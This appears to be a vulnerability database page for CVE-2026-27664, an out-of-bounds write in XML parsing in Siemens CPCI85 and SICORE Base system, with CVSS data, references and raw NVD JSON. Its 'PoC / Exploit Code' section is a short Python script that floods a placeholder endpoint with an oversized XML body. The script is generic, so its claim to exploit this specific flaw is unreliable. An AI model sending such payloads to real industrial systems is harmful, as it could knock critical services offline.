CVE-2026-27664

Description

A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.10), SICORE Base system (All versions < V26.10.0). The affected application contains an out-of-bounds write vulnerability while parsing specially crafted XML inputs. This could allow an unauthenticated attacker to exploit this issue by sending a malicious XML request, which may cause the service to crash, resulting in a denial-of-service condition.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CPCI85 Central Processing/Communication < V26.10

SICORE Base system < V26.10.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (Placeholder)
target_url = "http://target-ip:port/api/endpoint"

# Malicious XML payload designed to trigger out-of-bounds write
# This payload contains a large string or malformed structure
xml_payload = """<?xml version="1.0" encoding="UTF-8"?>
<malicious_tag>
    <overflow_data>{}</overflow_data>
</malicious_tag>""".format("A" * 100000)

headers = {
    "Content-Type": "application/xml"
}

try:
    # Send POST request with malicious XML
    response = requests.post(target_url, data=xml_payload, headers=headers, timeout=5)
    print(f"Status Code: {response.status_code}")
    print(f"Response: {response.text}")
except Exception as e:
    print(f"Exploit failed or service crashed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27664
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27664
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27664/
[4] VulDB https://vuldb.com/cve/CVE-2026-27664
[5] https://cert-portal.siemens.com/productcert/html/ssa-246443.html
[6] http://seclists.org/fulldisclosure/2026/Apr/7

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-27664", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:34.340", "lastModified": "2026-04-14T19:16:34.283", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been identified in CPCI85 Central Processing/Communication (All versions < V26.10), SICORE Base system (All versions < V26.10.0). The affected application contains an out-of-bounds write vulnerability while parsing specially crafted XML inputs. This could allow an unauthenticated attacker to exploit this issue by sending a malicious XML request, which may cause the service to crash, resulting in a denial-of-service condition."}, {"lang": "es", "value": "Se ha identificado una vulnerabilidad en CPCI85 Central Processing/Communication (Todas las versiones < V26.10), sistema base SICORE (Todas las versiones < V26.10.0). La aplicación afectada contiene una vulnerabilidad de escritura fuera de límites al analizar entradas XML especialmente manipuladas. Esto podría permitir a un atacante no autenticado explotar este problema enviando una solicitud XML maliciosa, lo que podría provocar la caída del servicio, resultando en una condición de denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "references": [{"url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html", "source": "[email protected]"}, {"url": "http://seclists.org/fulldisclosure/2026/Apr/7", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}